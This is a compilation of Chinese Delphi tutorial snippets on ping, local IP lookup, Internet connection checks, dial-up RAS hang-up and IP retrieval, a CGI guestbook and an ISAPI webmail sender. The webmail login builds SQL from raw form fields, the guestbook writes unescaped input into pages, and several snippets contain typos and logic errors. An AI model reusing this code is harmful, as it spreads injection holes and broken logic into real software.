pReqData := PChar(MyString);

FillChar(IPOpt, Sizeof(IPOpt), 0);

IPOpt.TTL := 64;

FTimeOut := 4000;

try

IcmpSendEcho(hICMP, FIPAddress, pReqData, Length(MyString),@IPOpt, pIPE, BufferSize, FTimeOut);

if pReqData^ = pIPE^.Options.OptionsData^ then

Memo1.Lines.Add(PChar(PingEdit.Text) + ' ' + IntToStr(pIPE^.DataSize) + ' ' +IntToStr(pIPE^.RTT));

except

Memo1.Lines.Add('Cant resolve host!');

FreeMem(pRevData);

FreeMem(pIPE);

Exit;

end;

FreeMem(pRevData);

FreeMem(pIPE);

end;

end;

end.


取得本机IP
function LocalIP:string;

type

TaPInAddr = array [0..10] of PInAddr;

PaPInAddr = ^TaPInAddr;

var

phe : PHostEnt;

pptr : PaPInAddr;

Buffer : array [0..63] of char;

I : Integer;

GInitData : TWSADATA;

begin

WSAStartup($101, GInitData);

Result := '';

GetHostName(Buffer, SizeOf(Buffer));

phe :=GetHostByName(buffer);

if phe = nil then Exit;

pptr := PaPInAddr(Phe^.h_addr_list);

I := 0;

while pptr^[I] <> nil do begin

result:=StrPas(inet_ntoa(pptr^[I]^));

Inc(I);

end;

WSACleanup;

end;

========================================

program get_ip;

uses

winsock,sysutils;

VAR

ch : ARRAY[1..32] OF Char;

i : Integer;

WSData: TWSAData;

MyHost: PHostEnt;

begin

IF WSAstartup(2,wsdata)<>0 THEN

BEGIN

Writeln('can''t start Winsock: Error ',WSAGetLastError);

Halt(2);

END;

try

IF getHostName(@ch[1],32)<>0 THEN

BEGIN

Writeln('getHostName failed');

Halt(3);

END;

except

Writeln('getHostName failed');

halt(3);

end;

MyHost:=GetHostByName(@ch[1]);

IF MyHost=NIL THEN

BEGIN

Writeln(GetHostName('+StrPas(@ch[1])+') failed : Error

'+IntToStr(WSAGetLastError));

Halt(4);

END

ELSE

BEGIN

Write('address ');

FOR i:=1 TO 4 DO

BEGIN

Write(Ord(MyHost.h_addr^[i-1]));

IF i<4 THEN

then write('.')

ELSE

writeln;

END;

END;

end.

===========================================


检测计算机的 Internet 连接状态
DWORD dwConnectState;

CString strConnectState;

BOOL bOK = InternetGetConnectedState( &dwConnectState, 0);

if ( bOK )

{

if ( dwConnectState & INTERNET_CONNECTION_LAN )

strConnectState = "Local system uses a local area network to connect to the Internet. ";

if ( dwConnectState & INTERNET_CONNECTION_MODEM )

strConnectState = "Local system uses a modem to connect to the Internet. ";

if ( dwConnectState & INTERNET_CONNECTION_MODEM_BUSY )

strConnectState = "No longer used. ";

if ( dwConnectState = INTERNET_CONNECTION_PROXY )

strConnectState = "Local system uses a proxy server to connect to the Internet. ";

}

测试连接是否有效，可以用：InternetCheckConnection

检测计算机是否联网比较简单的做法可以通过一个 Win32 Internet(WinInet) 函数 InternetCheckConnection来实现；

这个函数的功能是检查是否能够建立 Internet 连接。

它的实现是在 %SystemRoot%.dll 中，Delphi 调用声明在 WinInet.pas 中，

其 API 声明如下：

BOOL InternetCheckConnection(

IN LPCSTR lpszUrl,

IN DWORD dwFlags,

IN DWORD dwReserved

);

参数的意义是：

lpszUrl： 需要测试能否建立连接的 URL 地址，可以为空；

dwFlags： 目前只能是 FLAG_ICC_FORCE_CONNECTION（这个常量 Delphi 中没有声明，其值为 $00000001）；

dwReserved： 目前只能为 0。

调用的说明：

如果 lpszUrl 是非空的，Windows 从中解析出 Host 名然后 Ping 这个指定的 Host。

如果 lpszUrl 是空的，并且 WinInet 内部服务器的 database 中有一个关于最近的 Server 的纪录，Windows 就从这条纪录中解析出 Host 名然后 Ping 它。

如果能够成功的连接返回 True，否则返回 False；

以下是一个判断当前计算机是否联网的例子：

procedure TForm1.Button1Click(Sender: TObject);

begin

if InternetCheckConnection('http://www.yahoo.com/', 1, 0) then

edit1.text:= 'Connected'

else

edit1.text:= 'Disconnected';

end;

通过上述的方法只能检测出当前计算机是否物理联网，即网线是否接好，网卡是否能顺利工作，不能确定是否能够实现获得 Internet 服务，即是否能和 ISP 进行 Internet 连接。

这时可以通过另一个 Win32 Internet(WinInet) 函数 InternetQueryOption 来检测；

这个函数的功能是查询指定 Internet 句柄的状态、选项。

其 API 声明如下：

BOOL InternetQueryOption(

IN HINTERNET hInternet,

IN DWORD dwOption,

OUT LPVOID lpBuffer,

IN OUT LPDWORD lpdwBufferLength

);

参数的意义是：

hInternet：查询对象的 Internet 句柄（全局查询时为 nil），

dwOption：查询的项目；

lpBuffer：返回的查询结果；

lpdwBufferLength：查询结果的字节长度（包括 IN 和 OUT）；

查询成功返回 True，否则返回 False;

我们要查询当前计算机的 Internet 连接状态时可以使用查询项目 INTERNET_OPTION_CONNECTED_STATE，

得到的 ConnectState 返回值可能是以下值的一个或几个值之和：

INTERNET_STATE_CONNECTED ：$00000001 连接状态；

INTERNET_STATE_DISCONNECTED ：$00000002 非连接状态（和 INTERNET_STATE_CONNECTED 对应）；

INTERNET_STATE_DISCONNECTED_BY_USER ：$00000010 用户请求的非连接状态

INTERNET_STATE_IDLE ：$00000100 连接状态，并且空闲

INTERNET_STATE_BUSY ：$00000200 连接状态，正在响应连接请求

以下是一个判断当前计算机是否可以获得 Internet 服务的例子：

function TForm1.CheckOffline: boolean;

var

ConnectState: DWORD;

StateSize: DWORD;

begin

ConnectState:= 0;

StateSize:= SizeOf(ConnectState);

result:= false;

if InternetQueryOption(nil, INTERNET_OPTION_CONNECTED_STATE, @ConnectState, StateSize) then

if (ConnectState and INTERNET_STATE_DISCONNECTED) <> 2 then result:= true;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if CheckOffline then

edit1.text:= 'Connect To ISP'

else

edit1.text:= 'Disconnect To ISP';

end;

需要说明的是 InternetQueryOption 函数的检测结果只能表明当前的 Internet 设置是可用的，

并不能表示计算机一定能访问 Internet，例如网线掉了，网卡突然坏了之类的错误就没法检测出来，

要想检测当前计算机是否能够获得 Internet 服务了必须两个函数结合起来使用。

以上程序在 Win2000, Delphi5.0 下调试通过。

最后要提醒大家注意的是在 uses 中要加上 WinInet。

*********************************************************

check if I am connected to the internet?

interface

uses

Windows, SysUtils, Registry, WinSock, WinInet;

type

TConnectionType = (ctNone, ctProxy, ctDialup);

function ConnectedToInternet: TConnectionType;

function RasConnectionCount: Integer;

implementation

//For RasConnectionCount =======================

const

cERROR_BUFFER_TOO_SMALL = 603;

cRAS_MaxEntryName = 256;

cRAS_MaxDeviceName = 128;

cRAS_MaxDeviceType = 16;

type

ERasError = class(Exception);

HRASConn = DWORD;

PRASConn = ^TRASConn;

TRASConn = record

dwSize: DWORD;

rasConn: HRASConn;

szEntryName: array[0..cRAS_MaxEntryName] of Char;

szDeviceType: array[0..cRAS_MaxDeviceType] of Char;

szDeviceName: array [0..cRAS_MaxDeviceName] of Char;

end;

TRasEnumConnections =

function(RASConn: PrasConn; { buffer to receive Connections data }

var BufSize: DWORD; { size in bytes of buffer }

var Connections: DWORD { number of Connections written to buffer }

): Longint;

stdcall;

//End RasConnectionCount =======================

function ConnectedToInternet: TConnectionType;

var

Reg: TRegistry;

bUseProxy: Boolean;

UseProxy: LongWord;

begin

Result := ctNone;

Reg := TRegistry.Create;

with REG do

try

try

RootKey := HKEY_CURRENT_USER;

if OpenKey('settings', False) then

begin

//I just try to read it, and trap an exception

if GetDataType('ProxyEnable') = rdBinary then

ReadBinaryData('ProxyEnable', UseProxy, SizeOf(Longword))

else

begin

bUseProxy := ReadBool('ProxyEnable');

if bUseProxy then

UseProxy := 1

else

UseProxy := 0;

end;

if (UseProxy <> 0) and (ReadString('ProxyServer') <> '') then

Result := ctProxy;

end;

except

//Obviously not connected through a proxy

end;

finally

Free;

end;

//We can check RasConnectionCount even if dialup networking is not installed

//simply because it will return 0 if the DLL is not found.

if Result = ctNone then

begin

if RasConnectionCount > 0 then Result := ctDialup;

end;

end;

function RasConnectionCount: Integer;

var

RasDLL: HInst;

Conns: array[1..4] of TRasConn;

RasEnums: TRasEnumConnections;

BufSize: DWORD;

NumConns: DWORD;

RasResult: Longint;

begin

Result := 0;

//Load the RAS DLL

RasDLL := LoadLibrary('rasapi32.dll');

if RasDLL = 0 then Exit;

try

RasEnums := GetProcAddress(RasDLL, 'RasEnumConnectionsA');

if @RasEnums = nil then

raise ERasError.Create('RasEnumConnectionsA not found in rasapi32.dll');

Conns[1].dwSize := SizeOf(Conns[1]);

BufSize := SizeOf(Conns);

RasResult := RasEnums(@Conns, BufSize, NumConns);

if (RasResult = 0) or (Result = cERROR_BUFFER_TOO_SMALL) then Result := NumConns;

finally

FreeLibrary(RasDLL);

end;

end;


用DELPHI制作留言板
北京市融海公司

王炯

---- 现在很多朋友都有了自己的个人主页。有一个留言板主页与访问者交流一下可能是很多网友愿望。但留言板主页不同与一般主页，它不但有主页部分而且还要有数据存储功能。其实用DELPHI的CGI应用程序可以轻松的制作留言板主页。用ELPHI开发CGI应用程序不但可以实现ASP，HTML很难实现的低层操作，而且简化了CGI应用程序开发过程。

---- 1.选择Delphi的菜单File|New，在New标签中选择"Web Server Application"。

---- 然后在选择"CGI Stand-alone executable"，创建一个CGI应用程序。

---- （如果想创建ISAPI或NSAPI应用程序，只需选择"ISAPI/NSAPI Dynamic Link Library"，后几步操作不变。）

---- 2.系统自动创建一个非可视的WebModule1组件，我们按以下步骤给程序添加控制和代码：

---- （1）、双击WebModule1的Actions属性，弹出"Editing WebModule1.Actions"对话框；

---- （2）、单击Add按钮，添加一个新行WebActionItem1

---- （3）、单击WebActionItem1，在Object Inspector中将WebActionItem1的Default属性设置为True；这样设置使访问CGI.EXE时直接访问此页面。

---- （4）、单击Add按钮，添加一个新行WebActionItem2

---- （5）、单击WebActionItem2，在Object Inspector中将WebActionItem2的PathInfo属性设置为""；即访问此页面的路径为CGI.EXE。

---- （6）、在Object Inspector中双击WebActionItem1的OnAction事件，添加代码。将留言板页面的HTML语句赋给Response.Content属性，使用户访问WEB服务器应用程序时显示。

---- （7）、在Object Inspector中双击WebActionItem2的OnAction事件，添加代码处理留言板页面传回的信息，同时显示相关信息通知用户。其中涉及Request.ContentFields.Values['index']及Request.ContentFields.Strings[counts]两个属性的应用。

---- Request.ContentFields.Values['UserName']是指留言板页面中name="UserName"的控件中的数据信息。

---- Request.ContentFields.Strings[Counts]是指留言板页面传过来各项数据及对应的控件名。以Counts区分其为哪项数据，其数值为留言板页面传输数据项的顺序号。

---- 数据存储方式我采用文本文件存储，如果网友的主页人气鼎盛也可考虑改用数据库存储。

---- 以下是完整的程序代码

---- 在DELPHI3，IIS4.0/PWS，IE4.0中运行通过。

unit Html;

interface

uses

Windows, Messages, SysUtils, Classes, HTTPApp;

type

TWebModule1 = class(TWebModule)

procedure WebModule1WebActionItem1Action(Sender: TObject;

Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);

procedure WebModule1WebActionItem2Action(Sender: TObject;

Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);

private

{ Private declarations }

public

{ Public declarations }

end;

var

WebModule1: TWebModule1;

implementation

{$R *.DFM}

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;

Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);

var html:string;

begin

html:='';

html:=html+'< html >< head >< title >会员注册< /title >< /head >< center >';

html:=html+'< H2 >会员注册< /H2 >< /center >';

html:=html+'< body background="" bgcolor="#fffff" >< td >< /td >';

html:=html+'< form action="webcgi.exe" method="post" id="form1" name="form1" style="FONT-SIZE: larger" >';

html:=html+'< p >姓名:< input size="12" maxlength="10" name="UserName" >< /p >';

html:=html+'< p >性别:< input type="radio" name="Sex" value="Man" checked >男';

html:=html+'< input type="radio" name="Sex" value="Woman" >女< /p >';

html:=html+'< p >年龄:< input size="5" maxlength="3" name="Age" >< /p >' ;

html:=html+'< p >所在城市:< input size="20" maxlength="16" name="City" >< /p >' ;

html:=html+'< p >Email:< input size="24" maxlength="30" name="Email" >< /p >';

html:=html+'< p >留言:< textarea name="Textarea" rows="5" cols="30" >< /textarea >< /p >';

html:=html+'< center >< input type="submit" Name="submit" value=" 提 交 " >';

html:=html+'< input type="reset" value=" 取 消" >';

html:=html+'< /form >< /center >';

html:=html+'< /BODY >< /html >';

Response.Content :=html;

end;

procedure TWebModule1.WebModule1WebActionItem2Action(Sender: TObject;

Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);

var

html:string;

Output: TextFile;

Counts,line:integer;

begin

Assignfile(Output, 'List.Txt');{如果没有list.txt文件会报错，须先手工创建。}

Append(output);

for counts:=0 to Request.ContentFields.Count-2 do

begin

if counts< Request.ContentFields.Count-2 then

begin

Write(Output, Request.ContentFields.Strings[counts]);

for line:=0 to 20-length(Request.ContentFields.Strings[counts]) do

begin

Write(Output,' ');

end;

end

else

begin

Write(Output, Request.ContentFields.Strings[counts]);

Writeln(Output,' ');

end ;

end;

CloseFile(output);

html:='';

html:=html+'< html >< head >< title >Thank You!< /title >< /head >< body >';

html:=html+'< center >< P >< H2 >'+Request.ContentFields.Values['UserName'];

html:=html+'您好！您已注册成功！< /H2 >< /P >';

html:=html+'< A href="http://zhou/scripts/Webcgi.exe" >点击这里返回< /A >';

html:=html+'< /center >< /body >< /html >';

Response.Content :=html;

end;

end.


断开Internet连接
用Delphi编写可以断开Internet连接的程序

    在WIN9X下，如果安装了拨号网络，则在WINDOWS的系统目录(System目录)下将有两个拨号网络管理程序库RasApi32.DLL 和RasApi16.DLL，因此我们可以利用RAS（远程访问服务）系列函数实现断开指定的拨号连接。在这里我们将使用RasHangUp函数。然而如何正确使用这些API函数是完成应用程序的关键。

    挂断拨号连接的RasApi32函数为RasHangUp，其函数原型为：

    RasHangUp(HRASCONN : DWORD

     )：DWORD;stdcall;

    参数说明：

    HRASCONN : DWORD要挂断的拨号连接的句柄，此句柄是来源由调用函数RasEnumConnections的返回值。

    返回值：函数的返回值为0表示执行成功；不为0执行失败。

    由上面的函数得知：我们必须首先获得拨号连接的句柄，因此在应用程序中还需使用RasEnumConnections函数。

    获取所有活动的拨号连接的信息列表（连接句柄和电话号码）的RasApi32函数为RasEnumConnections，其函数原型为：

    RasEnumConnections(LPRASCONN lprasconn，LPDWORD lpcb，LPDWORD lpcConnections) ：DWORD;stdcall;

    参数说明：

    lprasconn：接收活动连接的缓冲区的指针；

    lpcb：接收缓冲区的字节大小；

    lpcConnections：实际的活动连接数。

    返回值函数的返回值为0表示执行成功；不为0执行失败。

    为了正确使用这两个函数，我们要事先定义函数，常数，结构类型及其他信息，有关这一部份的内容都写入rasapi.pas单元。

    源程序：

    program main;

    uses

     Forms,

     Unit1 in 'Unit1.pas' {Form1},

     rasapi in 'rasapi.pas';

    {$R *.RES}

    begin

     Application.Initialize;

     Application.CreateForm(TForm1, Form1);

     Application.Run;

    end.

    unit Unit1;

    interface

    uses

     Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

     StdCtrls, DdeMan;

    type

     TForm1 = class(TForm)

        Button1: TButton;

        procedure Button1Click(Sender: TObject);

     private

        { Private declarations }

         public

        { Public declarations }

     end;

    var

     Form1: TForm1;

    implementation

     uses rasapi;

    {$R *.DFM}

    procedure TForm1.Button1Click(Sender: TObject);

    var

         bufsize: Cardinal;

         numEntries: Cardinal;

         x: Integer;

         entries: Array[1..10] of TRasConn;//拨号连接数组（假设最多有10个活动的拨号连接）

         stat: TRasConnStatus;

         hRas: HRasConn;

         conexion:pRasConn;

     begin

        entries[1].dwSize := SizeOf(TRasConn);

        bufsize := SizeOf(TRasConn) * 10;

        FillChar(stat, Sizeof(TRasConnStatus), 0);

        stat.dwSize := Sizeof(TRasConnStatus);

        if RasEnumConnections(@entries[1], bufsize, numEntries) = 0 then

         begin

            if numEntries > 0 then

             with entries[1] do

             begin

                conexion:=Pointer(rasconn);

                hRas := Longint(conexion);

                if RasHangUp(hRas) <> 0 then

                 ShowMessage('断开失败');

             end

             else

                ShowMessage('断开成功');

             end;

     end;

    unit rasapi;

    interface

     Uses WinTypes, WinProcs, Dialogs;

     Const

     UNLEN = 256;

     PWLEN = 256;

     DNLEN = 15;

     RAS_MaxEntryName　　 = 256;//连接名称最大长度

     RAS_MaxDeviceName　　 = 128;//设备名称最大长度

     RAS_MaxDeviceType　　 = 16;//设备类型名称长度

     { RAS_MaxParamKey　　 = 32;

     RAS_MaxParamValue　　 = 128;}

     RAS_MaxPhoneNumber　　= 128;//电话号码的最大长度

     RAS_MaxCallbackNumber = RAS_MaxPhoneNumber;

     Type

     {UINT = Word;}

     PHRASConn = ^HRASConn;

     Type

     { 确认一活动的拨号连接. (为RasConnectEnum函数使用) }

     PRASConn = ^TRASConn;//拨号连接的句柄类型

     TRASConn = record

         dwSize: DWORD;//该结构类型所占内存的字节大小

         rasConn: HRASConn;//活动连接的句柄

         szEntryName: Array[0..RAS_MaxEntryName] Of Char;//

         szDeviceType : Array[0..RAS_MaxDeviceType] Of Char;

         szDeviceName : Array [0..RAS_MaxDeviceName] of char;

     end;

     PRASConnStatus = ^TRASConnStatus;

     TRASConnStatus = Record

         dwSize: LongInt;

         rasConnstate: Word;

         dwError: LongInt;

         szDeviceType: Array[0..RAS_MaxDeviceType] Of Char;

         szDeviceName: Array[0..RAS_MaxDeviceName] Of Char;

     End;

     PRASDIALEXTENSIONS= ^TRASDIALEXTENSIONS;

     TRASDIALEXTENSIONS= Record

         dwSize: DWORD;

         dwfOptions: DWORD;

         hwndParent: HWnd;

         reserved: DWORD;

        end;

     PRASDialParams = ^TRASDialParams;

     TRASDialParams = Record

         dwSize: DWORD;

         szEntryName: Array[0..RAS_MaxEntryName] Of Char;

         szPhoneNumber: Array[0..RAS_MaxPhoneNumber] Of Char;

         szCallbackNumber: Array[0..RAS_MaxCallbackNumber] Of Char;

         szUserName: Array[0..UNLEN] Of Char;

         szPassword: Array[0..PWLEN] Of Char;

         szDomain: Array[0..DNLEN] Of Char;

     end;

     PRASEntryName = ^TRASEntryName;

     TRASEntryName = Record

         dwSize: LongInt;

         szEntryName: Array[0..RAS_MaxEntryName] Of Char;

     {　　Reserved: Byte;}

     End;

    //拨号函数

     Function RasDial(

         lpRasDialExtensions : PRASDIALEXTENSIONS ; //在WIN9X下无用，可设置为NIL

         lpszPhonebook: PChar; //在WIN9X下无用，可设置为NIL

         lpRasDialParams : PRASDIALPARAMS; // 拨号参数，类型指针

         dwNotifierType : DWORD;　　 { 消息通知方式}

         lpvNotifier: DWORD;　　　　{ 消息处理事件}

         var rasConn: HRASConn　　　　 { 返回成功连接的连接句柄}

        ): DWORD; stdcall;

     function RasEnumConnections(RASConn: PrasConn;

                        var BufSize: DWord;

                 var Connections: DWord

       ): LongInt; stdcall;

     Function RasEnumEntries (

         reserved: PChar;　　　　{保留字段，必须为空}

         lpszPhonebook: PChar ;　　　　{ 电话本名称，在WIN9X下无用，可设置为NIL}

         lprasentryname: PRASENTRYNAME ; {接收拨号连接名称的缓冲区，是一类型数组的指针}

         var lpcb :　　　　 DWORD; {接收拨号连接名称的缓冲区的大小}

         var lpcEntries : DWORD　　{实际获得拨号连接 的数目}

        ) : DWORD; stdcall;

     function RasGetConnectStatus(RASConn: hrasConn;　　　　{ 指定活动连接的句柄 }

                     RASConnStatus: PRASConnStatus { 获取活动连接状态信息的缓冲区}

         ): LongInt; stdcall;

     function RasGetErrorString(ErrorCode: DWord;　　　　{ 错误代码标识}

                                szErrorString: PChar;　　　　{ 错误提示信息的缓冲区}

                                BufSize: DWord　　 {错误提示信息的缓冲区的大小 }

                                ): LongInt; stdcall;

     function RasHangUp(RASConn: hrasConn ): LongInt; stdcall;

     function RasGetEntryDialParams(

         lpszPhonebook:PChar;　　　　{电话本名称，在WIN9X下无用，可设置为NIL }

         VAR lprasdialparams:TRASDIALPARAMS; {拨号参数，是一类型指针}

         VAR lpfPassword : BOOL　　　　{显示是否需要用户密码}

        ): DWORD; stdcall;

     implementation

     const

     RAS_DLL = 'RASAPI32';

     function RasDial; external RAS_DLL name 'RasDialA';

     function RasEnumConnections; external RAS_DLL name 'RasEnumConnectionsA';

     function RasEnumEntries; external RAS_DLL name 'RasEnumEntriesA';

     function RasGetConnectStatus; external RAS_DLL name 'RasGetConnectStatusA';

     function RasGetErrorString; external RAS_DLL name 'RasGetErrorStringA';

     function RasHangUp; external RAS_DLL name 'RasHangUpA';

     function RasGetEntryDialParams; external RAS_DLL name 'RasGetEntryDialParamsA';

    end.

    以上代码在PWIN98+DELPHI5环境下调试通过。


Delphi4.0 开发WEBMAIL程序
通常，实现WEBMAIL采用mailto.exe的CGI、在HTML文件中写入“< form action="mailto:电子邮箱地址" method=post >”语句或者调用WINDOWS API函数。采用WINDOWS API 和在HTML文件中写入“< form action="mailto:电子邮箱地址" method=post >”语句都要求用户的浏览器装入EXCHANGE、OUTLOOKEXPRESS、或OUTLOOK等软件，而且还有一些浏览器不支持MAILTO语句。而采用CGI的形式实现WEBMAIL对用户的浏览器没有要求，但效率不高。CGI技术正在逐渐被ISAPI/NSAPI技术所取代。本文就来讨论一下采用ISAPI技术实现WEBMAIL。

---- 使用Delphi 4开发Web Server程序是非常简单的，Delphi 4中提供了大量的元件和对象，支持Web Server程序的开发。 下面通过一个例子来介绍如何利用DELPHI开发一个响应用户输入的ISAPI的WEBMAIL程序。只有在发送服务器上注册的用户才能通过在浏览器发送邮件。为了简单，程序没有对传送的数据提供保密。

---- 首先，在WEB服务器端安装数据库引擎dbe,并设置好数据库别名：yh,指向一个包含用户名和用户密码的数据库文件user.db。接着建立两个HTML文件，名字分别为：dl.html,qd.html，放在WEB服务器的缺省目录下（如：C：）。

dl.html的内容如下：

< html >

< head >< title > 发送邮件系统< /title >< /head >

< body >

< h1 >发送邮件系统< /h1 >

< p > 请输入您的用户名及密码。< /p >

< form method=”post” action="/scripts/xsmd" >

< p >用户名：< input type="text" length=10

name="username" >

密码：< input type="password"

length=10 name="password" >< /p >

< p >< input type="submit" value="确定" >

< input type="reset" value="清除" >< /p >

< /form >

< /body >

< /html >

qd.html文件内容如下：

< html >< head >< title >填表< /title >< /head >

< body >

< form method=”post” action="feedback" >

< p >请填入接收邮件地址:toaddress:

< input type=”text” length=20

name=”toaddress” >< /p >

< p >请填入主题。< input type="text"

length=20 name="subject" >< /p >

< p >内容：< /p >

< p >< input type=“textarea”length=40

width=40 name=”body” >< /p >

< p >< input type="submit" value="确定" >

< input type="reset" value="清除" >< /p >

< /form >

< /body >

< /html >

---- 在DELPHI中新建一个基于ISAPI的WEB SERVER APPLICATION，手动增加nmsmtp1,query1,pageproducer1。

---- 其中：pageproducer1的property: htmlfile：c:.root.html。nmsmtp1的 property:host(发送邮件服务器的地址。)在这里为smtp.netease.com.。port:25。 全局变量为： sername:string;flag:boolean;

增加一个路径为/feedback的动作项，其代码如下：

procedure TWebModule1.WebModule1WebActionItem1

Action(Sender: TObject;

Request: TWebRequest; Response:

TWebResponse; var Handled: Boolean);

Var Count:integer;

S:string;

Begin

Query1.close;

Query1.sql.clear;

S:=’select count(username) from

user.db where username=”’;

S:=s+request.contentfields.values[‘username’]+’”’;

S:=s+’ and password=”’;

S:=s+request.contentfields.values[‘psword’]+’”’;

Query1.sql.add(S);

Query1.open;

If query1.count=0

then response.content:=’< html >< head >< title >

< /title >< body >用户名、密码不正确，请重新输入

< /body >< /html >’

Else

Username:=request.contentfields.values[‘username’];

Response.content:=pageproducer1.content;

End;

再增加一个路径为/sendmail 的动作项，

它的程序代码如下：

procedure TWebModule1.WebModule1Web

ActionItem2Action(Sender: TObject;

Request: TWebRequest; Response:

TWebResponse; var Handled: Boolean);

Var body:string;

Begin

Flag:=true;

body:=request.contentfields.values[‘body’];

Pageproducer1.htmldoc.clear;

Pageproducer1.htmldoc.add(‘< html >< body >’);

Nmsmtp1.postmessage.clear;

Nmsmtp1.postmessage.fromaddress:=username+

’@netease.com’;

Nmsmtp1.postmessage.from:=username;

Nmsmtp1.postmessage.body.add(body);

Nmsmtp1.postmessage.toaddress.add

(request.contentfields.values[‘toaddress’]);

Nmsmtp1.postmessage.subject:=

request.contentfields.values[‘subject’]；

Nmsmtp1.connect;

If flag=true then begin Nmsmtp1.sendmail;

nmsmtp1.disconntent;end

pageproducer1.htmldoc.add

(‘< /body >< /html >’);

response.content:=pageproducer1.content;

end;

增加nmsmtp1的事件如下：

procedure TWebModule1.NMSMTP1Connect(Sender: TObject);

begin

pageproducer1.htmldoc.add

('< p >已经和发送邮件服务器连接< /p >');

end;

procedure TWebModule1.NMSMTP1Connection

Failed(Sender: TObject);

begin

flag:=false;

pageproducer1.htmldoc.add

('< p >连接失败< /P >');

end;

procedure TWebModule1.NMSMTP1ConnectionRequired

(var Handled: Boolean);

begin

pageproducer1.htmldoc.add('< p >要求进行连接< /p >');

end;

procedure TWebModule1.NMSMTP1Failure(Sender: TObject);

begin

pageproducer1.htmldoc.add('< p >发送邮件失败< /p >');

flag:=false;

end;

procedure TWebModule1.NMSMTP1Header

Incomplete(var handled: Boolean;

hiType: Integer);

begin

pageproducer1.htmldoc.add('< p >head不完整< /p >');

flag:=false;

end;

procedure TWebModule1.NMSMTP1InvalidHost

(var Handled: Boolean);

begin

pageproducer1.htmldoc.add('< p >

发送邮件服务器地址无效< /p >');

flag:=false;

end;

procedure TWebModule1.NMSMTP1RecipientNot

Found(Recipient: String);

begin

pageproducer1.htmldoc.add

('< p >接受邮件地址不正确< /p >');

flag:=false;

end;

procedure TWebModule1.NMSMTP1Success(

Sender: TObject);

begin

pageproducer1.htmldoc.add('< p >

成功发送邮件< /p >');

end;

---- 将project存为sendmail.dpr，编译后放到WEB服务器的可执行文件路径下（如：c:）,即可响应HTML文件dl.htm的用户输入，并且如果用户的用户名及密码正确则可进入发送邮件的页面，用户填写接受邮件地址及主题、内容后即可发送邮件。此程序在NT SERVER上调试通过。


取拨号连接的动态IP地址
在WIN9X下，如果安装了拨号网络，则在WINDOWS系统的系统目录System下将有两个拨号网络管理程序库RasApi32.DLL和RasApi16.DLL，我们可利用其中的RAS系列函数来获取和设置拨号连接网络的信息。当然是可以获取拨号连接的动态IP地址了。在Delphi帮助文件中，有相关RAS函数的详细说明。

---- 一、先解释一些要用到的数据常量和数据结构。

const

RAS_MaxDeviceType = 16;//设备类型名称长度

RAS_MaxEntryName = 256;//连接名称最大长度

RAS_MaxDeviceName = 128;//设备名称最大长度

RAS_MaxIpAddress = 15;//IP地址的最大长度

RASP_PppIp = $8021;//拨号连接的协议类型，该数值表示PPP连接

type

HRASCONN = DWORD;//拨号连接句柄的类型

RASCONN = record//活动的拨号连接的句柄和设置信息

dwSize : DWORD;//该结构所占内存的大小(Bytes),

一般设置为SizeOf(RASCONN)

hrasconn : HRASCONN;//活动连接的句柄

szEntryName : array[0..RAS_MaxEntryName] of char;

//活动连接的名称

szDeviceType : array[0..RAS_MaxDeviceType] of char;

//活动连接的所用的设备类型

szDeviceName : array[0..RAS_MaxDeviceName] of char;

//活动连接的所用的设备名称

end;

TRASPPPIP = record//活动的拨号连接的动态IP地址信息

dwSize : DWORD;//该结构所占内存的大小(Bytes),

一般设置为SizeOf(TRASPPPIP)

dwError : DWORD;//错误类型标识符

szIpAddress : array[ 0..RAS_MaxIpAddress ] of char;

//活动的拨号连接的IP地址

end;

---- 二、接着要解释要用到的两个RAS函数。

//获取所有活动的拨号连接的信息（连接句柄和设置信息）

function RasEnumConnections( var lprasconn : RASCONN ;

//接收活动连接的缓冲区的指针

var lpcb: DWORD;//缓冲区大小

var lpcConnections : DWORD//实际的活动连接数

) : DWORD; stdcall;

function RasEnumConnections;external 'Rasapi32.dll'

name 'RasEnumConnectionsA';

//获取指定活动的拨号连接的动态IP信息

function RasGetProjectionInfo(

hrasconn : HRasConn;//指定活动连接的句柄

rasprojection : DWORD;//RAS连接类型

var lpprojection : TRASPPPIP;//接收动态IP信息的缓冲区

var lpcb : DWord//接收缓冲区的大小

) : DWORD;stdcall;

function RasGetProjectionInfo;external

'Rasapi32.dll' name 'RasGetProjectionInfoA';

    这两个函数的返回值为０时表示执行成功，非０表示错误代码。

---- 三、下面要讨论如何用上面的两个RAS函数获取拨号连接的动态IP地址

---- 　　首先，要用函数RasEnumConnections列出已建立的活动拨号连接的信息，其中包括连接名称、连接句柄、连接设备类型和设备名称；然后根据连接句柄用函数RasGetProjectionInfo获取连接对应的一个TRASPPPIP结构，其中包括一个成员属性szIpAddress即为动态IP地址。具体请参见以下程序片段和注释信息。

procedure TForm1.Button1Click(Sender: TObject);

const

MaxConnections = 10;//假设最多有10个活动的拨号连接

var

connections : array[0..MaxConnections-1] of RASCONN;

//拨号连接数组

longSize : dword;

intAvailabelConnections : dword;

//活动的拨号连接的实际数目

intIndex : integer;

strTemp : string;

dwResult : DWORD;

dwSize : DWORD;

RASpppIP : TRASPPPIP;

//活动的拨号连接的动态IP地址信息

begin

connections[ 0 ].dwSize := sizeof(RASCONN);

longSize := MaxConnections * connections[ 0 ].dwSize;

//接收活动连接的缓冲区大小

intAvailabelConnections := 0;

//获取所有活动的拨号连接的信息（连接句柄和设置信息）

dwResult := RasEnumConnections( connections[ 0 ],longSize,intAvailabelConnections );

if 0 < > dwResult then

memo1.lines.add( '错误:' + inttostr( dwResult ) )

else

begin

memo1.lines.add( '现有的活动连接有' +IntToStr( intAvailabelConnections ) + '个');

//显示所有活动的拨号连接的信息（设置信息和动态IP地址）

for intIndex := 0 to intAvailabelConnections - 1 do

begin

//显示一个活动的拨号连接的设置信息

strTemp := '连接名称：'+ StrPAS( connections[ intIndex ].szEntryName )+ '，设备类型：'+ StrPAS( connections[ intIndex ].szDeviceType )+ '，设备名称：'+ StrPAS( connections[ intIndex ].szDeviceName );

memo1.lines.add( strTemp );

//显示一个活动的拨号连接的动态IP地址

dwSize := SizeOf(RASpppIP);

RASpppIP.dwSize := dwSize;

